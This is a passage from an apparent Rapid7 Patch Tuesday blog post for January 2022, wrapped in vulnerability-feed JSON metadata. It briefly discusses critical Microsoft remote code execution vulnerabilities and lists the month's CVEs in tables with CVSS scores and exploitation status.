vulnerabilities, such as [CVE-2022-21857](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-21857>) (affecting Active Directory Domain Services), allow attackers to elevate their privileges on systems or networks they already have a foothold in. \n\n### Critical RCEs\n\nBesides [CVE-2021-22947](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-22947>) (libcurl), several other Critical RCE vulnerabilities were also fixed. Most of these have caveats that reduce their scariness to some degree. The worst of these is [CVE-2021-21907](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-21907>), affecting the Windows HTTP protocol stack. Although it carries a CVSSv3 base score of 9.8 and is considered potentially \u201cwormable\u201d by Microsoft, similar vulnerabilities have not proven to be rampantly exploited (see the AttackerKB analysis for [CVE-2021-31166](<https://attackerkb.com/topics/pZcouFxeCW/cve-2021-31166/rapid7-analysis>)).\n\nNot quite as bad is [CVE-2022-21840](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-21840>), which affects all supported versions of Office, as well as Sharepoint Server. Exploitation would require social engineering to entice a victim to open an attachment or visit a malicious website \u2013 thankfully the Windows preview pane is not a vector for this attack.\n\n[CVE-2022-21846](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-21846>) affects Exchange Server, but cannot be exploited directly over the public internet (attackers need to be \u201cadjacent\u201d to the target system in terms of network topology). This restriction also applies to [CVE-2022-21855](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-21855>) and [CVE-2022-21969](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-21969>), two less severe RCEs in Exchange this month.\n\n[CVE-2022-21912](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-21912>) and [CVE-2022-21898](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-21898>) both affect DirectX Graphics and require local access. [CVE-2022-21917](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21917>) is a vulnerability in the Windows Codecs library. In most cases, systems should automatically get patched; however, some organizations may have the vulnerable codec preinstalled on their gold images and disable Windows Store updates.\n\nDefenders should prioritize patching servers (Exchange, Sharepoint, Hyper-V, and IIS) followed by web browsers and other client software.\n\n## Summary charts\n\n\n\n## Summary tables\n\n### Browser vulnerabilities\n\nCVE | Title | Exploited | Publicly disclosed | CVSSv3 base | Additional FAQ \n---|---|---|---|---|--- \n[CVE-2022-21930](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21930>) | Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability | No | No | 4.2 | Yes \n[CVE-2022-21931](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21931>) | Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability | No | No | 4.2 | Yes \n[CVE-2022-21929](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21929>) | Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability | No | No | 2.5 | Yes \n[CVE-2022-21954](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21954>) | Microsoft Edge (Chromium-based) Elevation of Privilege Vulnerability | No | No | 6.1 | Yes \n[CVE-2022-21970](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21970>) | Microsoft Edge (Chromium-based) Elevation of Privilege Vulnerability | No | No | 6.1 | Yes \n[CVE-2022-0120](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-0120>) | Chromium: CVE-2022-0120 Inappropriate implementation in Passwords | No | No | nan | Yes \n[CVE-2022-0118](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-0118>) | Chromium: CVE-2022-0118 Inappropriate implementation in WebShare | No | No | nan | Yes \n[CVE-2022-0117](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-0117>) | Chromium: CVE-2022-0117 Policy bypass in Service Workers | No | No | nan | Yes \n[CVE-2022-0116](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-0116>) | Chromium: CVE-2022-0116 Inappropriate implementation in Compositing | No | No | nan | Yes \n[CVE-2022-0115](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-0115>) | Chromium: CVE-2022-0115 Uninitialized Use in File API | No | No | nan | Yes \n[CVE-2022-0114](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-0114>) | Chromium: CVE-2022-0114 Out of bounds memory access in Web Serial | No | No | nan | Yes \n[CVE-2022-0113](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-0113>) | Chromium: CVE-2022-0113 Inappropriate implementation in Blink | No | No | nan | Yes \n[CVE-2022-0112](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-0112>) | Chromium: CVE-2022-0112 Incorrect security UI in Browser UI | No | No | nan | Yes \n[CVE-2022-0111](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-0111>) | Chromium: CVE-2022-0111 Inappropriate implementation in Navigation | No | No | nan | Yes \n[CVE-2022-0110](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-0110>) | Chromium: CVE-2022-0110 Incorrect security UI in Autofill | No | No | nan | Yes \n[CVE-2022-0109](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-0109>) | Chromium: CVE-2022-0109 Inappropriate implementation in Autofill | No | No | nan | Yes \n[CVE-2022-0108](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-0108>) | Chromium: CVE-2022-0108 Inappropriate implementation in Navigation | No | No | nan | Yes \n[CVE-2022-0107](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-0107>) | Chromium: CVE-2022-0107 Use after free in File Manager API | No | No | nan | Yes \n[CVE-2022-0106](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-0106>) | Chromium: CVE-2022-0106 Use after free in Autofill | No | No | nan | Yes \n[CVE-2022-0105](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-0105>) | Chromium: CVE-2022-0105 Use after free in PDF | No | No | nan | Yes \n[CVE-2022-0104](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-0104>) | Chromium: CVE-2022-0104 Heap buffer overflow in ANGLE | No | No | nan | Yes \n[CVE-2022-0103](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-0103>) | Chromium: CVE-2022-0103 Use after free in SwiftShader | No | No | nan | Yes \n[CVE-2022-0102](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-0102>) | Chromium: CVE-2022-0102 Type Confusion in V8 | No | No | nan | Yes \n[CVE-2022-0101](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-0101>) | Chromium: CVE-2022-0101 Heap buffer overflow in Bookmarks | No | No | nan | Yes \n[CVE-2022-0100](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-0100>) | Chromium: CVE-2022-0100 Heap buffer overflow in Media streams API | No | No | nan | Yes \n[CVE-2022-0099](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-0099>) | Chromium: CVE-2022-0099 Use after free in Sign-in | No | No | nan | Yes \n[CVE-2022-0098](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-0098>) | Chromium: CVE-2022-0098 Use after free in Screen Capture | No | No | nan | Yes \n[CVE-2022-0097](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-0097>) | Chromium: CVE-2022-0097 Inappropriate implementation in DevTools | No | No | nan | Yes \n[CVE-2022-0096](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-0096>) | Chromium: CVE-2022-0096 Use after free in Storage | No | No | nan | Yes \n \n### Developer Tools vulnerabilities\n\nCVE | Title | Exploited | Publicly disclosed | CVSSv3 base | Additional FAQ \n---|---|---|---|---|--- \n[CVE-2022-21911](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21911>) | .NET Framework Denial of Service Vulnerability | No | No | 7.5 | No \n \n### ESU Windows vulnerabilities\n\nCVE | Title | Exploited | Publicly disclosed | CVSSv3 base | Additional FAQ \n---|---|---|---|---|--- \n[CVE-2022-21924](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21924>) | Workstation Service Remote Protocol Security Feature Bypass Vulnerability | No | No | 5.3 | No \n[CVE-2022-21834](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21834>) | Windows User-mode Driver Framework Reflector Driver Elevation of Privilege Vulnerability | No | No | 7 | No \n[CVE-2022-21919](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21919>) | Windows User Profile Service Elevation of Privilege Vulnerability | No | Yes | 7 | No \n[CVE-2022-21885](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21885>) | Windows Remote Access Connection Manager Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2022-21914](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21914>) | Windows Remote Access Connection Manager Elevation of Privilege Vulnerability | No | No | 7.8 | Yes \n[CVE-2022-21920](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21920>) | Windows Kerberos Elevation of Privilege Vulnerability | No | No | 8.8 | Yes \n[CVE-2022-21908](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21908>) | Windows Installer Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2022-21843](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21843>) | Windows IKE Extension Denial of Service Vulnerability | No | No | 7.5 | Yes \n[CVE-2022-21883](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21883>) | Windows IKE Extension Denial of Service Vulnerability | No | No | 7.5 | Yes \n[CVE-2022-21848](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21848>) | Windows IKE Extension Denial of Service Vulnerability | No | No | 7.5 | Yes \n[CVE-2022-21889](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21889>) | Windows IKE Extension Denial of Service Vulnerability | No | No | 7.5 | Yes \n[CVE-2022-21890](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21890>) | Windows IKE Extension Denial of Service Vulnerability | No | No | 7.5 | Yes \n[CVE-2022-21900](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21900>) | Windows Hyper-V Security Feature Bypass Vulnerability | No | No | 4.6 | Yes \n[CVE-2022-21905](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21905>) | Windows Hyper-V Security Feature Bypass Vulnerability | No | No | 4.6 | Yes \n[CVE-2022-21880](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21880>) | Windows GDI+ Information Disclosure Vulnerability | No | No | 7.5 | Yes \n[CVE-2022-21915](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21915>) | Windows GDI+ Information Disclosure Vulnerability | No | No | 6.5 | Yes \n[CVE-2022-21904](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21904>) | Windows GDI Information Disclosure Vulnerability | No | No | 7.5 | Yes \n[CVE-2022-21903](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21903>) | Windows GDI Elevation of Privilege Vulnerability | No | No | 7 | No \n[CVE-2022-21899](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21899>) | Windows Extensible Firmware Interface Security Feature Bypass Vulnerability | No | No | 5.5 | No \n[CVE-2022-21916](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21916>) | Windows Common Log File System Driver Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2022-21897](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21897>) | Windows Common Log File System Driver Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2022-21838](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21838>) | Windows Cleanup Manager Elevation of Privilege Vulnerability | No | No | 5.5 | Yes \n[CVE-2022-21836](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21836>) | Windows Certificate Spoofing Vulnerability | No | Yes | 7.8 | Yes \n[CVE-2022-21925](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21925>) | Windows BackupKey Remote Protocol Security Feature Bypass Vulnerability | No | No | 5.3 | No \n[CVE-2022-21862](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21862>) | Windows Application Model Core API Elevation of Privilege Vulnerability | No | No | 7 | No \n[CVE-2022-21859](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21859>) | Windows Accounts Control Elevation of Privilege Vulnerability | No | No | 7 | No \n[CVE-2022-21833](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21833>) | Virtual Machine IDE Drive Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2022-21922](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21922>) | Remote Procedure Call Runtime Remote Code Execution Vulnerability | No | No | 8.8 | Yes \n[CVE-2022-21893](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21893>) | Remote Desktop Protocol Remote Code Execution Vulnerability | No | No | 8.8 | Yes \n[CVE-2022-21850](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21850>) | Remote Desktop Client Remote Code Execution Vulnerability | No | No | 8.8 | Yes \n[CVE-2022-21851](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21851>) | Remote Desktop Client Remote Code Execution Vulnerability | No | No | 8.8 | Yes \n[CVE-2022-21835](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21835>) | Microsoft Cryptographic Services Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2022-21884](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21884>) | Local Security Authority Subsystem Service Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2022-21913](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21913>) | Local Security Authority (Domain Policy) Remote Protocol Security Feature Bypass | No | No | 5.3 | No \n[CVE-2022-21857](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21857>) | Active Directory Domain Services Elevation of Privilege Vulnerability | No | No | 8.8 | Yes \n \n### Exchange Server vulnerabilities\n\nCVE | Title | Exploited | Publicly disclosed | CVSSv3 base | Additional FAQ \n---|---|---|---|---|--- \n[CVE-2022-21846](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21846>) | Microsoft Exchange Server Remote Code Execution Vulnerability | No | No | 9 | Yes \n[CVE-2022-21855](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21855>) | Microsoft Exchange Server Remote Code Execution Vulnerability | No | No | 9 | Yes \n[CVE-2022-21969](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21969>) | Microsoft Exchange Server Remote Code Execution Vulnerability | No | No | 9 | Yes \n \n### Microsoft Dynamics vulnerabilities\n\nCVE | Title | Exploited | Publicly disclosed | CVSSv3 base | Additional FAQ \n---|---|---|---|---|--- \n[CVE-2022-21932](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21932>) | Microsoft Dynamics 365 Customer Engagement Cross-Site Scripting Vulnerability | No | No | 7.6 | No \n[CVE-2022-21891](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21891>) | Microsoft Dynamics 365 (on-premises) Spoofing Vulnerability | No | No | 7.6 | No \n \n### Microsoft Office vulnerabilities\n\nCVE | Title | Exploited | Publicly disclosed | CVSSv3 base | Additional FAQ \n---|---|---|---|---|--- \n[CVE-2022-21842](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21842>) | Microsoft Word Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2022-21837](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21837>) | Microsoft SharePoint Server Remote Code Execution Vulnerability | No | No | 8.3 | Yes \n[CVE-2022-21840](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21840>) | Microsoft Office Remote Code Execution Vulnerability | No | No | 8.8 | Yes \n[CVE-2022-21841](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21841>) | Microsoft Excel Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n \n### Windows vulnerabilities\n\nCVE | Title | Exploited | Publicly disclosed | CVSSv3 base | Additional FAQ \n---|---|---|---|---|--- \n[CVE-2022-21895](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21895>) | Windows User Profile Service Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2022-21864](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21864>) | Windows UI Immersive Server API Elevation of Privilege Vulnerability | No | No | 7 | No \n[CVE-2022-21866](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21866>) | Windows System Launcher Elevation of Privilege Vulnerability | No | No | 7 | No \n[CVE-2022-21875](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21875>) | Windows Storage Elevation of Privilege Vulnerability | No | No | 7 | No \n[CVE-2022-21863](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21863>) | Windows StateRepository API Server file Elevation of Privilege Vulnerability | No | No | 7 | No \n[CVE-2022-21874](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21874>) | Windows Security Center API Remote Code Execution Vulnerability | No | Yes | 7.8 | No \n[CVE-2022-21892](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21892>) | Windows Resilient File System (ReFS) Remote Code Execution Vulnerability | No | No | 6.8 | Yes \n[CVE-2022-21958](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21958>) | Windows Resilient File System (ReFS) Remote Code Execution Vulnerability | No | No | 6.8 | Yes \n[CVE-2022-21959](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21959>) | Windows Resilient File System (ReFS) Remote Code Execution Vulnerability | No | No | 6.8 | Yes \n[CVE-2022-21960](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21960>) | Windows Resilient File System (ReFS) Remote Code Execution Vulnerability | No | No | 6.8 | Yes \n[CVE-2022-21961](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21961>) | Windows Resilient File System (ReFS) Remote Code Execution Vulnerability | No | No | 6.8 | Yes \n[CVE-2022-21962](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21962>) | Windows Resilient File System (ReFS) Remote Code Execution Vulnerability | No | No | 6.8 | Yes \n[CVE-2022-21963](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21963>) | Windows Resilient File System (ReFS) Remote Code Execution Vulnerability | No | No | 6.4 | Yes \n[CVE-2022-21928](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21928>) | Windows Resilient File System (ReFS) Remote Code Execution Vulnerability | No | No | 6.3 | Yes \n[CVE-2022-21867](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21867>) | Windows Push Notifications Apps Elevation Of Privilege Vulnerability | No | No | 7 | No \n[CVE-2022-21888](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21888>) | Windows Modern Execution Server Remote Code Execution Vulnerability | No | No | 7.8 | No \n[CVE-2022-21881](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21881>) | Windows Kernel Elevation of Privilege Vulnerability | No | No | 7 | No \n[CVE-2022-21879](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21879>) | Windows Kernel Elevation of Privilege Vulnerability | No | No | 5.5 | No \n[CVE-2022-21849](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21849>) | Windows IKE Extension Remote Code Execution Vulnerability | No | No | 9.8 | Yes \n[CVE-2022-21901](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21901>) | Windows Hyper-V Elevation of Privilege Vulnerability | No | No | 9 | Yes \n[CVE-2022-21847](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21847>) | Windows Hyper-V Denial of Service Vulnerability | No | No | 6.5 | No \n[CVE-2022-21878](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21878>) | Windows Geolocation Service Remote Code Execution Vulnerability | No | No | 7.8 | No \n[CVE-2022-21872](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21872>) | Windows Event Tracing Elevation of Privilege Vulnerability | No | No | 7 | No \n[CVE-2022-21839](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21839>) | Windows Event Tracing Discretionary Access Control List Denial of Service Vulnerability | No | Yes | 6.1 | No \n[CVE-2022-21868](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21868>) | Windows Devices Human Interface Elevation of Privilege Vulnerability | No | No | 7 | No \n[CVE-2022-21921](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21921>) | Windows Defender Credential Guard Security Feature Bypass Vulnerability | No | No | 4.4 | No \n[CVE-2022-21906](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21906>) | Windows Defender Application Control Security Feature Bypass Vulnerability | No | No | 5.5 | No \n[CVE-2022-21852](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21852>) | Windows DWM Core Library Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2022-21902](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21902>) | Windows DWM Core Library Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2022-21896](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21896>) | Windows DWM Core Library Elevation of Privilege Vulnerability | No | No | 7 | No \n[CVE-2022-21858](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21858>) | Windows Bind Filter Driver Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2022-21860](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21860>) | Windows AppContracts API Server Elevation of Privilege Vulnerability | No | No | 7 | No \n[CVE-2022-21876](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21876>) | Win32k Information Disclosure Vulnerability | No | No | 5.5 | Yes \n[CVE-2022-21882](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21882>) | Win32k Elevation of Privilege Vulnerability | No | No | 7 | Yes \n[CVE-2022-21887](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21887>) | Win32k Elevation of Privilege Vulnerability | No | No | 7 | Yes \n[CVE-2022-21873](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21873>) | Tile Data Repository Elevation of Privilege Vulnerability | No | No | 7 | No \n[CVE-2022-21861](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21861>) | Task Flow Data Engine Elevation of Privilege Vulnerability | No | No | 7 | No \n[CVE-2022-21870](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21870>) | Tablet Windows User Interface Application Core Elevation of Privilege Vulnerability | No | No | 7 | No \n[CVE-2022-21877](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21877>) | Storage Spaces Controller Information Disclosure Vulnerability | No | No | 5.5 | Yes \n[CVE-2022-21894](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21894>) | Secure Boot Security Feature Bypass Vulnerability | No | No | 4.4 | No \n[CVE-2022-21964](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21964>) | Remote Desktop Licensing Diagnoser Information Disclosure Vulnerability | No | No | 5.5 | Yes \n[CVE-2021-22947](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-22947>) | Open Source Curl Remote Code Execution Vulnerability | No | Yes | nan | Yes \n[CVE-2022-21871](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21871>) | Microsoft Diagnostics Hub Standard Collector Runtime Elevation of Privilege Vulnerability | No | No | 7 | No \n[CVE-2022-21910](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21910>) | Microsoft Cluster Port Driver Elevation of Privilege Vulnerability | No | No | 7.8 | No \n[CVE-2021-36976](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-36976>) | Libarchive Remote Code Execution Vulnerability | No | Yes | nan | Yes \n[CVE-2022-21907](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21907>) | HTTP Protocol Stack Remote Code Execution Vulnerability | No | No | 9.8 | Yes \n[CVE-2022-21917](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21917>) | HEVC Video Extensions Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2022-21912](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21912>) | DirectX Graphics Kernel Remote Code Execution Vulnerability | No | No | 7.8 | Yes \n[CVE-2022-21898](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21898>) | DirectX Graphics Kernel Remote Code Execution Vulnerability | No | No | 7.8 | No \n[CVE-2022-21918](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21918>) | DirectX Graphics Kernel File Denial of Service Vulnerability | No | No | 6.5 | No \n[CVE-2022-21865](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21865>) | Connected Devices Platform Service Elevation of Privilege Vulnerability | No | No | 7 | No \n[CVE-2022-21869](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21869>) | Clipboard User Service Elevation of Privilege Vulnerability | No | No | 7 | No", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2022-01-11T21:41:56", "type": "rapid7blog", "title": "Patch Tuesday - January 2022", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21907", "CVE-2021-22947", "CVE-2021-31166", "CVE-2021-36976", "CVE-2022-0096", "CVE-2022-0097", "CVE-2022-0098", "CVE-2022-0099", "CVE-2022-0100", "CVE-2022-0101", "CVE-2022-0102", "CVE-2022-0103", "CVE-2022-0104", "CVE-2022-0105", "CVE-2022-0106", "CVE-2022-0107", "CVE-2022-0108", "CVE-2022-0109", "CVE-2022-0110", "CVE-2022-0111", "CVE-2022-0112", "CVE-2022-0113", "CVE-2022-0114", "CVE-2022-0115", "CVE-2022-0116", "CVE-2022-0117", "CVE-2022-0118", "CVE-2022-0120", "CVE-2022-21833", "CVE-2022-21834", "CVE-2022-21835", "CVE-2022-21836", "CVE-2022-21837", "CVE-2022-21838", "CVE-2022-21839", "CVE-2022-21840", "CVE-2022-21841", "CVE-2022-21842", "CVE-2022-21843", "CVE-2022-21846", "CVE-2022-21847", "CVE-2022-21848", "CVE-2022-21849", "CVE-2022-21850", "CVE-2022-21851", "CVE-2022-21852", "CVE-2022-21855", "CVE-2022-21857", "CVE-2022-21858", "CVE-2022-21859", "CVE-2022-21860", "CVE-2022-21861", "CVE-2022-21862", "CVE-2022-21863", "CVE-2022-21864", "CVE-2022-21865", "CVE-2022-21866", "CVE-2022-21867", "CVE-2022-21868", "CVE-2022-21869", "CVE-2022-21870", "CVE-2022-21871", "CVE-2022-21872", "CVE-2022-21873", "CVE-2022-21874", "CVE-2022-21875", "CVE-2022-21876", "CVE-2022-21877", "CVE-2022-21878", "CVE-2022-21879", "CVE-2022-21880", "CVE-2022-21881", "CVE-2022-21882", "CVE-2022-21883", "CVE-2022-21884", "CVE-2022-21885", "CVE-2022-21887", "CVE-2022-21888", "CVE-2022-21889", "CVE-2022-21890", "CVE-2022-21891", "CVE-2022-21892", "CVE-2022-21893", "CVE-2022-21894", "CVE-2022-21895", "CVE-2022-21896", "CVE-2022-21897", 